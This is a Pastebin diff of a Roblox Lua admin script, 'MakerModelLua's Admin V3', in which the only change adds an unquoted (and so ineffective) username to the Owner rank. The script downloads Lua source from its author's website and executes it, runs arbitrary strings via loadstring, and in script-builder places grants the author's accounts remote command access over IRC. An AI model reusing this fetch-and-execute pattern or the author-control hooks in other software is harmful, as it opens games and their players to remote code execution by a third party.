View difference between Paste ID: qtQME1YP and AEzbY2DG
SHOW: | | - or go back to the newest paste.
1
--[[
2
Hi! This is LuaModelMaker's Admin V3 by MakerModelLua. 
3
If you want to know what commands do just go into your game and say ;cmds for a list of
4
commands, what they do, examples, rank needed, and more!
5
Or, go to http://www.classy-studios.com/V3/Commands.php
6
If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
7
8
9
TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
10
11
--->> DO NOT EDIT THESE SETTINGS <<---
12
Well you can but it's a waste of your time. The settings are located in workspace
13
in a folder called "MakerModelLua's Settings". You can also use this plugin:
14
15
http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
16
17
USE REMOTE ADMIN:
18
http://www.classy-studios.com/Login/
19
Mobile: http://appsto.re/us/hEn7fb.i
20
21
22
23
...also... this is open source! No stupid shady module scripts, which means it works in studio!
24
25
]]
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
50
51
52
local Settings = {
53
	Ranks = {
54-
		["Owner"] = {};
54+
		["Owner"] = {sonicrixlp};
55
		["Admin"] = {};
56
		["Member"] = {};
57
		["Banned"] = {};
58
		["Crashed"] = {};
59
		["Muted"] = {};
60
	};
61
	
62
	Prefix = ";";
63
	Bet = " ";
64
	MinimumAge = 0;
65
	ServerLocked = false;
66
	ColorScheme = "White";
67
	TransparencyScheme = 50;
68
	Fun = true;
69
	EnableAdminMenu = true;
70
	EnableTaskBar = true;
71
	FreeAdmin = false;
72
	Font = "Arial";
73
	
74
	DisableAbuse = false;
75
	AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
76
	AbusableGear = {};
77
	
78
	LinkedAccount = "";
79
	DataKey = "";
80
	
81
	ExecuteNotificationSound = 0; --177578949
82
	EnableSounds = true;
83
	
84
	VIPMemberID = 0;
85
	VIPAdminID = 0;
86
	
87
	GroupID = 0;
88
	GroupBanRank = 0;
89
	GroupMemberRank = 0;
90
	GroupAdminRank = 0;
91
	GroupOwnerRank = 0;
92
	GroupRankBan = 0;
93
	BannedGroupIDs = {};
94
	
95
	IRCServer = "";
96
	IRCChannel = "";
97
	IRCCommandExecuters = {};
98
	
99
	TrelloToken = ""
100
}
101
102
local Colors = {
103
	["WHITE"] = Color3.new(1,1,1);
104
	["BLACK"] = Color3.new(0,0,0);
105
	["GRAY"] = Color3.new(0.5,0.5,0.5);
106
	["RED"] = Color3.new(1,0,0);
107
	["GREEN"] = Color3.new(0,1,0);
108
	["BLUE"] = Color3.new(0,0,1);
109
	["YELLOW"] = Color3.new(1,1,0);
110
	["PINK"] = Color3.new(1,0,1);
111
	["MAGENTA"] = Color3.new(1,0,1);
112
	["CYAN"] = BrickColor.new("Cyan").Color;
113
	["TEAL"] = BrickColor.new("Teal").Color;
114
	["BROWN"] = Color3.new(0.55,0.25,0.075);
115
	["PURPLE"] = Color3.new(0.5,0,0.5);
116
	["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
117
}
118
119
local Server = {
120
	Workspace = game:GetService("Workspace");
121
	Players = game:GetService("Players");
122
	Lighting = game:GetService("Lighting");
123
	MPS = game:GetService("MarketplaceService");
124
	TS = game:GetService("TeleportService");
125
	HS = game:GetService("HttpService");
126
	RS = game:GetService("RunService");
127
	PS = game:GetService("PointsService");
128
	TestS = game:GetService("TestService");
129
	IS = game:GetService("InsertService");
130
	Teams = game:GetService("Teams");
131
	Data = game:GetService("DataStoreService");
132
	GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
133
	NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
134
	Storage = game:GetService("ServerStorage");
135
	RS = game:GetService("ReplicatedStorage");
136
	AS = game:GetService("AssetService");
137
}
138
139
local Icons = {
140
	["Message"] = 7724351;
141
	["Error"] = 94011556;
142
	["Information"] = 144175130;
143
	["Check"] = 132769976;
144
	["Search"] = 61994930;
145
	["Time"] = 136391033;
146
	["Notice"] = 156507320;
147
	["Sound"] = 164682936;
148
	["Log"] = 70650545;
149
	["Question"] = 41363872;
150
	["Output"] = 11481605;
151
	["Admin"] = 302470270;
152
	["Lock"] = 11341626;
153
	["Settings"] = 131064748;
154
	["Map"] = 257119661;
155
	["Plugin"] = 257097414;
156
}
157
158
local IRC = {
159
	Codes = {
160
		["001"] = "RPL_WELCOME",
161
		["002"] = "RPL_YOURHOST",
162
		["003"] = "RPL_CREATED",
163
		["004"] = "RPL_MYINFO",
164
		["005"] = "RPL_ISUPPORT",
165
		["250"] = "RPL_STATSCONN",
166
		["251"] = "RPL_LUSERCLIENT",
167
		["252"] = "RPL_LUSEROP",
168
		["254"] = "RPL_LUSERCHANNELS",
169
		["255"] = "RPL_LUSERME",
170
		["265"] = "RPL_LOCALUSERS",
171
		["266"] = "RPL_GLOBALUSERS",
172
		["352"] = "RPL_WHOREPLY",
173
		["371"] = "RPL_INFO",
174
		["372"] = "RPL_MOTD",
175
		["374"] = "RPL_ENDINFO",
176
		["375"] = "RPL_MOTDSTART",
177
		["376"] = "RPL_ENDOFMOTD",
178
		["422"] = "ERR_NOMOTD",
179
	},
180
	Ignore = {
181
		["004"] = true,
182
		["005"] = true,
183
	};
184
	Users = {};
185
	Logs = {};
186
	Chats = {};
187
	Forms = {};
188
	MessageAdded = Instance.new("BindableEvent");
189
	
190
	Servers = {
191
		["esper.net"] = {
192
			BaseUrl = "http://webchat.esper.net/";
193
			DynamicUrl = "";
194
		};
195
		["quakenet.org"] = {
196
			BaseUrl = "http://webchat.quakenet.org/";
197
			DynamicUrl = "dynamic/leibniz",
198
		};
199
		["swiftirc.net"] = {
200
			BaseUrl = "http://qwebirc.swiftirc.net/";
201
			DynamicUrl = "",
202
		};
203
	};
204
	NickName = "rbxMMLV3_"..math.random(1,100000);
205
	
206
	SessionCounter = 0;
207
	Connected = false;
208
	Stop = false;
209
	SessionID = "";
210
}
211
212
local RankHUD = {
213
	["Muted"] = 202180094;
214
	["Non-Admin"] = 202180121;
215
	["Member"] = 202180052;
216
	["Admin"] = 202180015;
217
	["Owner"] = 202179988;
218
}
219
220
local TextConverter = {
221
	LetterSounds = {
222
		["a"] = {223757826, nil}; -- 203343899
223
		["b"] = {223533700, 0.2}; -- 203344029
224
		["c"] = {223533711, nil}; -- 203343994
225
		["d"] = {223757910, nil}; -- 203398237
226
		["e"] = {223758026, nil}; -- 203398295
227
		["f"] = {223777655, nil}; -- 203398347
228
		["g"] = {223777738, nil}; -- 203398372
229
		["h"] = {223777757, nil}; -- 203398397
230
		["i"] = {223777807, nil}; -- 203398422
231
		["j"] = {223782888, nil}; -- 203398450
232
		["k"] = {223533711, nil}; -- 203343994
233
		["l"] = {223782961, 0.4}; -- 203398541
234
		["m"] = {223782992, nil}; -- 203398578
235
		["n"] = {223783063, nil}; -- 203398599
236
		["o"] = {223783184, nil}; -- 203398611
237
		["p"] = {223783235, nil}; -- 203398727
238
		["q"] = {223783260, nil}; -- 203398755
239
		["r"] = {223783305, 0.2}; -- 203398792
240
		["s"] = {223783377, nil}; -- 203398806
241
		["t"] = {223783446, nil}; -- 203398850
242
		["u"] = {223783512, nil}; -- 203398872
243
		["v"] = {223783654, nil}; -- 203398965
244
		["w"] = {223783697, nil}; -- 203398984
245
		["x"] = {223783796, nil}; -- 203399008
246
		["y"] = {223783853, nil}; -- 203399043
247
		["z"] = {223783893, nil}; -- 203399096
248
		
249
		["ch"] = {223784367, 0.3}; -- 203592149
250
		["th"] = {223788235, 0.3}; -- 203399215
251
		["sh"] = {223784505, 0.2}; -- 203399566
252
		["wh"] = {223784555, 0.3}; -- 203622828
253
		["oo"] = {223784456, 0.3}; -- 203399743
254
		["ing"] = {223784393, 0.3}; -- 203402836
255
	};
256
	
257
	LongVowels = {
258
		["a"] = {223533687, nil}; -- 203343932
259
		["e"] = {223777620, nil}; -- 203398314
260
		["i"] = {223777855, nil}; -- 203398440
261
		["o"] = {223783212, nil}; -- 203398619
262
		["u"] = {223783572, nil}; -- 203398897
263
	};
264
	
265
	Pronounce = {
266
		["0"] = "zero";
267
		["1"] = "wun";
268
		["2"] = "too";
269
		["3"] = "three";
270
		["4"] = "four";
271
		["5"] = "five";
272
		["6"] = "six";
273
		["7"] = "seven";
274
		["8"] = "eyt";
275
		["9"] = "nine";
276
		["one"] = "wun";
277
		["two"] = "too";
278
		["eight"] = "eyt";
279
		["eigh"] = "ey";
280
		["gh"] = "h";
281
		["kn"] = "n";
282
		["come"] = "cu".."m";
283
		["bye"] = "bi";
284
		["#"] = "hashtag";
285
		["@"] = "at";
286
		["&"] = "and";
287
		["*"] = "astrict";
288
		["mn"] = "m";
289
		["kn"] = "n";
290
		["ies"] = "ees";
291
	};
292
	
293
	NonEnglishRules = {
294
		["to"] = "too";
295
		["you"] = "yoo";
296
		["we"] = "wee";
297
		["are"] = "erh";
298
		["your"] = "yoor";
299
		["you're"] = "yoor";
300
		["youre"] = "yoor";
301
		["pizza"] = "peetzoh";
302
		["ok"] = "okay";
303
		["have"] = "hav";
304
		["my"] = "mi";
305
		["me"] = "mee";
306
		["u"] = "yoo";
307
		["r"] = "erh";
308
		["move"] = "moov";
309
		["dove"] = "duv";
310
		["debris"] = "debree";
311
		["do"] = "doo";
312
	}
313
}
314
315
local HTMLDecode = {
316
	["35"] = "#";
317
	["36"] = "$";
318
	["37"] = "%%";
319
	["38"] = "*";
320
	["39"] = "'";
321
	["58"] = ":";
322
	["59"] = ";";
323
	["60"] = "<";
324
	["62"] = ">";
325
}
326
327
328
local Assets = {
329
	Packages = {
330
		[27112438] = {27112025,27112039,27112052,27112056,27112068};
331
		[139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
332
		[77518833] = {77518564,77518616,77518654,77518696,77518737};
333
		[32336368] = {32336059,32336117,32336182,32336243,32336306};
334
		[59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
335
		[54116460] = {54116290,54116338,54116373,54116394,54116432};
336
		[39977366] = {39976703,39976829,39976927,39977192,39977295};
337
		[32357766] = {32357663,32357631,32357619,32357584,32357558};
338
		[27123973] = {27121265,27121306,27121353,27121393,27121432};
339
		[55717536] = {55717271,55717330,55717388,55717434,55717491};
340
		[28279963] = {28279160,28279217,28279859,28279894,28279938};
341
		[27403592] = {27402580,27402546,27402641,27402714,27402742};
342
		[86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
343
		[86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
344
		[48474394] = {48474356,48474294};
345
		[187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
346
		[223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
347
		[188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
348
		[139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
349
		[33378577] = {33378366,33378438,33378484,33378522,33378540};
350
		[101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
351
		[136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
352
		[91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
353
		[41851073] = {41850825,41850868,41850915,41851009,41850959}
354
	};
355
	AssetTypes = {
356
		[0] = "Product";
357
		[1] = "Image";
358
		[2] = "T-Shirt";
359
		[3] = "Audio";
360
		[4] = "Mesh";
361
		[5] = "Lua";
362
		[6] = "HTML";
363
		[7] = "Text";
364
		[8] = "Hat";
365
		[9] = "Place";
366
		[10] = "Model";
367
		[11] = "Shirt";
368
		[12] = "Pants";
369
		[13] = "Decal";
370
		[16] = "Avatar";
371
		[17] = "Head";
372
		[18] = "Face";
373
		[19] = "Gear";
374
		[21] = "Badge";
375
		[22] = "Group Emblem";
376
		[24] = "Animation";
377
		[25] = "Arms";
378
		[26] = "Legs";
379
		[27] = "Torso";
380
		[28] = "Right Arm";
381
		[29] = "Left Arm";
382
		[30] = "Left Leg";
383
		[31] = "Right Leg";
384
		[32] = "Package";
385
		[33] = "YouTube Video";
386
		[34] = "Game Pass";
387
		[38] = "Plugin";
388
		[39] = "SolidModel";
389
		[40] = "MeshPart";
390
		[41] = "Hair Accessory";
391
		[42] = "Face Accessory";
392
		[43] = "Neck Accessory";
393
		[44] = "Shoulder Accessory";
394
		[45] = "Front Accessory";
395
		[46] = "Back Accessory";
396
	};
397
	AccessoryTypes = {
398
		["all"] = 19;
399
		["hats"] = 9;
400
		["hair"] = 20;
401
		["face"] = 21;
402
		["neck"] = 22;
403
		["shoulder"] = 23;
404
		["front"] = 24;
405
		["back"] = 25;
406
		["waist"] = 26;
407
	};
408
}
409
410
local CharacterCache = {
411
	{"MakerModelLua", 38837082};
412
	{"LuaModelMaker", 20920633};
413
	{"builderman", 156};
414
	{"Shedletsky", 261};
415
	{"Telamon", 13645};
416
	{"ROBLOX", 1};
417
}
418
419
local FaceCovert = {
420
	Left = "xpos";
421
	Right = "xneg";
422
	Front = "zpos";
423
	Back = "zneg";
424
	Top = "ypos";
425
	Bottom = "yneg";
426
}
427
428
local Meshes = {
429
	["crown"] = {1, 1078075};
430
	["king"] = {1, 11419761};
431
	["teapot"] = {0.03, 1029523};
432
	["apple"] = {2.5, 16190555};
433
	["potato"] = {1, 25268275};
434
	["panda"] = {0.5, 20709221};
435
	["dominus"] = {0.5, 21057410};
436
	["fedora"] = {0.75, 13640868};
437
	["noob"] = {1, 20929341};
438
	["knife"] = {0.3, 121944778};
439
	["book"] = {0.3, 1136139};
440
}
441
442
local NotifySounds = {
443
	["Hover"] = 223134269;
444
	["Select"] = 292141227;
445
}
446
447
local Trello = {
448
	TrelloInfoCard = "x1rUtwEj";
449
	MainBoard = {};
450
	RequiredLists = {};
451
	RankChecklistCache = {};
452
	ToggleChecklist = nil;
453
	CommandID = nil;
454
	LastCommandDT = 0;
455
	AdminBoardID = "577ea1b21cb7975666524f26";
456
	RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
457
	RemoteDataCard = "dLtMo1en"
458
}
459
460
local ScriptBuilders = {
461
	[260897989] = "MML's";
462
	[21053279] = "Anti's pub";
463
	[21053219] = "Anti's pri";
464
	[20279777] = "Void's 1";
465
	[437965235] = "Void's 2";
466
	[227015991] = "Vox's";
467
	[210101277] = "Master's";
468
	[531937877] = "Bleu pigs";
469
	[519251450] = "Game's";
470
}
471
472
-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
473
-- Why else would I NOT have put it in a module?!?!?
474
475
local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
476
477
local SoundList,GlobalSoundList = {},{}
478
local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
479
local TempChatLogs = {}
480
local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
481
local NoSpeak = false
482
483
local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
484
local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
485
486
local ChatLogs,CommandLogs = {},{}
487
local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
488
local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
489
local Dispose,Jails,PermCommandBars = {},{},{}
490
local Waypoints = {["Center"] = Vector3.new(0,0,0)}
491
local Objects = {}
492
local Sound = nil
493
local ModLighting = false
494
local DataReady = true
495
local RemoteAbuseGear = {}
496
497
local GameOwner = "[ Client ]"
498
local PlaceName = "Unknown"
499
local PlaceInfo = {}
500
local IsStudio = false
501
local IsSB = false
502
local Date = nil
503
local Fonts = {}
504
local PendingRequests = {}
505
local F3X = script:FindFirstChild("F3X Tools")
506
local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
507
local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
508
local KeyBinds = {}
509
local Crowns = {}
510
local LastKeys = {}
511
local Cars = {}
512
local StringReplacements = {}
513
local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
514
local NoBet = {"/", "-", "(", ")", ""}
515
local ShouldFilter = true
516
517
local CrownStorage = script:FindFirstChild("CrownStorage")
518
if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
519
520
-- import old settings just in case --
521
local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
522
if OldSettings then
523
	OldSettings = require(OldSettings)
524
	
525
	for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
526
		Settings[ValName] = OldSettings[ValName]
527
	end
528
	Settings.GroupBanRank = OldSettings.RankBan
529
	Settings.Fun = OldSettings.FUN
530
end
531
532
if F3X then
533
	F3X = F3X:Clone()
534
	F3X.Handle.Anchored = false
535
	script:FindFirstChild("F3X Tools"):Destroy()
536
end
537
538
wait(0.1)
539
540
local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
541
-- tries to defualt to server storage, just in case an exploiter makes their own settings.
542
543
if SettingsValues then
544
	SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
545
	if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
546
		for _,Value in pairs(SettingsValues:GetChildren()) do
547
			if Settings[Value.Name] ~= nil then
548
				if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
549
					for _,NewValue in pairs(Value:GetChildren()) do
550
						if ypcall(function() return NewValue.Value end) then
551
							if Settings[Value.Name][NewValue.Name] then
552
								local Val = NewValue.Value
553
								if type(Settings[Value.Name][NewValue.Name]) == "table" then
554
									Val = {}
555
									for Word in string.gmatch(NewValue.Value, "[%w_]+") do
556
										table.insert(Val, Word)
557
									end
558
								end
559
								Settings[Value.Name][NewValue.Name] = Val
560
							end
561
						end
562
					end
563
				else
564
					if Settings[Value.Name] ~= nil then
565
						local Val = Value.Value
566
						if type(Settings[Value.Name]) == "table" then
567
							Val = {}
568
							for Word in string.gmatch(Value.Value, "%w+") do
569
								table.insert(Val, Word)
570
							end
571
						end
572
						Settings[Value.Name] = Val
573
					end
574
				end
575
			end
576
		end
577
	end
578
end
579
580
if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
581
	Settings.LinkedAccount = ""
582
elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
583
	Settings.LinkedAccount = "Admin"
584
end
585
586
local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
587
local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
588
589
wait(1)
590
591
local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
592
593
if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
594
595
if not IsStudio then
596
	Server.NS = game:GetService("NetworkServer")
597
	script.Name = "Maker".."Mo".."delLua's Admin"
598
end
599
600
if game.PlaceId > 0 then
601
	PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
602
	PlaceName = PlaceInfo.Name
603
end
604
605
local function GetGameOwner()
606
	if PlaceInfo.Creator.CreatorType == "Group" then
607
		GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
608
		print("MML's Admin: Found group owner for game: "..GameOwner)
609
	elseif PlaceInfo.Creator.CreatorType == "User" then
610
		GameOwner = PlaceInfo.Creator.Name
611
		print("MML's Admin: Found game owner: "..GameOwner)
612
	else
613
		ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
614
	end
615
end
616
617
if string.byte(string.sub(PlaceName,1,1)) == 226 then
618
	PlaceName = string.sub(PlaceName,4,#PlaceName)
619
end
620
for i = 1,5 do
621
	if GameOwner == "[ Client ]" then
622
		print("MML's Admin: Attempting to establish owner's name #"..i)
623
		GetGameOwner()
624
		wait(1)
625
	end
626
end
627
628
if ScriptBuilders[PlaceID] or NLS then
629
	IsSB = true
630
end
631
632
if IsSB then
633
	ShouldFilter = false
634
	Settings.IRCServer = "swiftirc.net";
635
	Settings.IRCChannel = "#PkamaraSB";
636
	Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
637
	if Settings.TrelloToken == "" then
638
		Settings.LinkedAccount = "ScriptBuilder"
639
	end
640
	if Settings.DataKey == "" then coroutine.wrap(function()
641
		repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
642
		local Key = Server.Storage:FindFirstChild("MML DataKey")
643
		print("Found key: "..Key.Value)
644
		Settings.DataKey = Key.Value
645
		Key:Destroy()
646
	end)() end
647
end
648
local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
649
table.insert(Settings.Ranks["Owner"], GameOwner)
650
651
for _,Font in pairs(Enum.Font:GetEnumItems()) do
652
	Fonts[Font.Name] = Font
653
end
654
655
local LogClient = script:FindFirstChild("AddClientInfo")
656
if LogClient then LogClient:Destroy() end
657
LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
658
LogClient.OnServerInvoke = function(Player, Info)
659
	if Info then
660
		for Key,Data in pairs(Info) do
661
			ClientInfo[Player.Name][Key] = Data
662
		end
663
	end
664
end
665
666
local function MakeFunction(Type, Name)
667
	local Func = script:FindFirstChild(Name)
668
	if Func then Func:Destroy() end
669
	Func = Instance.new(Type, script) Func.Name = Name
670
	
671
	getfenv()[Name] = Func
672
	return Func
673
end
674
675
MakeFunction("BindableFunction", "ExecuteCommand")
676
MakeFunction("RemoteFunction", "ExecuteCommandClient")
677
MakeFunction("BindableFunction", "ExecuteCode")
678
679
MakeFunction("RemoteFunction", "IsAdmin")
680
MakeFunction("RemoteFunction", "AddExploit")
681
MakeFunction("BindableFunction", "AddExploitServer")
682
MakeFunction("RemoteFunction", "KickClient")
683
MakeFunction("RemoteFunction", "ConvertTextToSound")
684
685
MakeFunction("RemoteFunction", "KeyPressed")
686
MakeFunction("RemoteFunction", "InputKey")
687
688
MakeFunction("RemoteFunction", "RankPlayerLocal")
689
MakeFunction("BindableFunction", "RankPlayerServer")
690
691
--[[
692
if NLS then
693
	local Value = script:FindFirstChild("Override")
694
	LogClient.Parent = game
695
	if not Value then
696
		local Value = Instance.new("BoolValue", script) Value.Name = "Override"
697
		local CloneScript = script:Clone()
698
		CloneScript.Disabled = true
699
		CloneScript.Parent = game:FindFirstChild("ServerScriptService")
700
		CloneScript.Disabled = false
701
		CloneScript.Parent = nil
702
		
703
		script:Destroy() script.Disabled = true
704
	end
705
end
706
]]
707
708
if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
709
710
IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
711
712
-- Core functions --
713
714
function CORE:FixSettings()
715
	for _,Bet in pairs(NoBet) do
716
		if Settings.Bet == Bet then
717
			Settings.Bet = " "
718
			break
719
		end
720
	end
721
	CORE:ChangeBet(Settings.Bet)
722
723
	if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
724
	if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
725
726
	if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
727
	if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
728
	Settings.TransparencyScheme = Settings.TransparencyScheme/100
729
730
	if not Fonts[Settings.Font] then
731
		Settings.Font = "Arial"
732
	end
733
end
734
735
function CORE:NilPlayer(Player)
736
	if Player == nil or type(Player) == "table" then return true else return false end
737
end
738
739
function CORE:ExecuteResource(ResourceName, Parent, Data)
740
	local ReturnScript = nil
741
	local Executed = true
742
	if script:FindFirstChild("Resources") then
743
		local RawResource = script.Resources:FindFirstChild(ResourceName)
744
		if RawResource then
745
			local Resource = RawResource:Clone()
746
			Resource.Disabled = true
747
			Resource.Parent = Parent
748
			if Data then
749
				for Key,Value in pairs(Data) do
750
					if Resource[Key] then
751
						Resource[Key].Value = Value
752
					end
753
				end
754
			end
755
			wait()
756
			Resource.Disabled = false
757
			ReturnScript = Resource
758
		else
759
			Executed = false
760
		end
761
	else
762
		Executed = false
763
	end
764
	if Executed == false then
765
		if not Data then Data = {} end
766
		local Source = ScriptCache[ResourceName]
767
		
768
		if not Source then
769
			Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
770
			if Source then
771
				ScriptCache[ResourceName] = Source
772
			end
773
		end
774
		
775
		if Data and Source then
776
			for Key,Value in pairs(Data) do
777
				Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
778
			end
779
		end
780
		
781
		if Source then
782
			if NLS then
783
				ReturnScript = NLS(Source, Parent)
784
			elseif createLocalScriptWithSource then
785
				ReturnScript = createLocalScriptWithSource(Source)
786
				ReturnScript.Parent = Parent
787
			end
788
		end
789
	end
790
	return ReturnScript
791
end
792
793
function CORE:CreateRemotePropertyReader(Obj, Override)
794
	if Server.Workspace.FilteringEnabled == true or Override then
795
		local Reader = Instance.new("RemoteFunction", Obj)
796
		Reader.Name = "RemotePropertyReader"
797
		CORE:ExecuteResource("RemotePropertyReader", Reader)
798
		return Reader
799
	else
800
		return Obj
801
	end
802
end
803
804
function CORE:ReadProperty(Reader, Player, Property)
805
	if Reader:IsA("RemoteFunction") then
806
		return Reader:InvokeClient(Player, Property)
807
	else
808
		return Reader[Property]
809
	end
810
end
811
812
function CORE:WriteProperty(Reader, Player, Property, Value)
813
	if Reader:IsA("RemoteFunction") then
814
		return Reader:InvokeClient(Player, Property, Value)
815
	else
816
		return Reader[Property]
817
	end
818
end
819
820
821
function CORE:CreateRemoteEvent(Obj, EventName)
822
	local Event = Instance.new("RemoteEvent", Obj)
823
	Event.Name = "RemoteEvent_"..EventName
824
	CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
825
	return Event
826
end
827
828
function CORE:HandleEvent(Obj, EventName, Func, NewThread)
829
	local function Handle()
830
		if Server.Workspace.FilteringEnabled == true then
831
			local Event = CORE:CreateRemoteEvent(Obj, EventName)
832
			return Event.OnServerEvent:connect(function(Player, ...)
833
				Func(...)
834
			end)
835
		else
836
			return Obj[EventName]:connect(Func)
837
		end
838
	end
839
	if NewThread then
840
		Spawn(Handle)
841
	else
842
		Handle()
843
	end
844
end
845
846
function CORE:HandleError(Error, Speaker)
847
	local Return = ""
848
	if not Error or Error == "" then
849
		Return = "Unknown Error"
850
	else
851
		Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
852
	end
853
	if Speaker then
854
		GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
855
	end
856
	return Return
857
end
858
859
local function ExecuteSafe(Source, Speaker) -- no CORE
860
	local Script, Error = loadstring(Source)
861
	if Error then
862
		return false, CORE:HandleError(Error, Speaker)
863
	else
864
		getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
865
		getfenv(Script).Server, getfenv(Script).script = Server,script
866
		if Speaker then
867
			getfenv(Script).print = function(...)
868
				GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
869
			end
870
			getfenv(Script).print_array = function(List)
871
				if type(List) == "table" then
872
					GUI:ListGui(Speaker, "Listed Table", List, "Output")
873
				end
874
			end
875
		end
876
		
877
		local Suc, Error = ypcall(coroutine.wrap(Script))
878
		
879
		if not Suc then
880
			Error = CORE:HandleError(Error, Speaker)
881
		end
882
		
883
		return Suc,Error
884
	end
885
end
886
887
function CORE:GetTime(Regular, FullDate)
888
	if Regular == nil then Regular = true end
889
	local Meridiem = ""
890
	if Regular == true then Meridiem = " AM" end
891
	local SecondsOfToday = math.fmod(os.time(), 60*60*24)
892
	local Hour = math.floor(SecondsOfToday / (60*60))
893
	local Minute = math.floor(SecondsOfToday/60 - Hour*60)
894
	local Second = math.floor(math.fmod(SecondsOfToday, 60))
895
	if Hour > 12 and Regular == true then 
896
		Hour = Hour - 12
897
		Meridiem = " PM"
898
	end
899
	Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
900
	if #Hour <= 1 then Hour = "0"..Hour end
901
	if #Minute <= 1 then Minute = "0"..Minute end
902
	if #Second <= 1 then Second = "0"..Second end
903
	local Return = Hour..":"..Minute..":"..Second..Meridiem
904
	if FullDate == true and Date then Return = Date.." "..Return end
905
	return Return
906
end
907
908
function CORE:RemoveAdmin(Speaker)
909
	local Answer = true -- false
910
	if not CORE:NilPlayer(Speaker) then
911
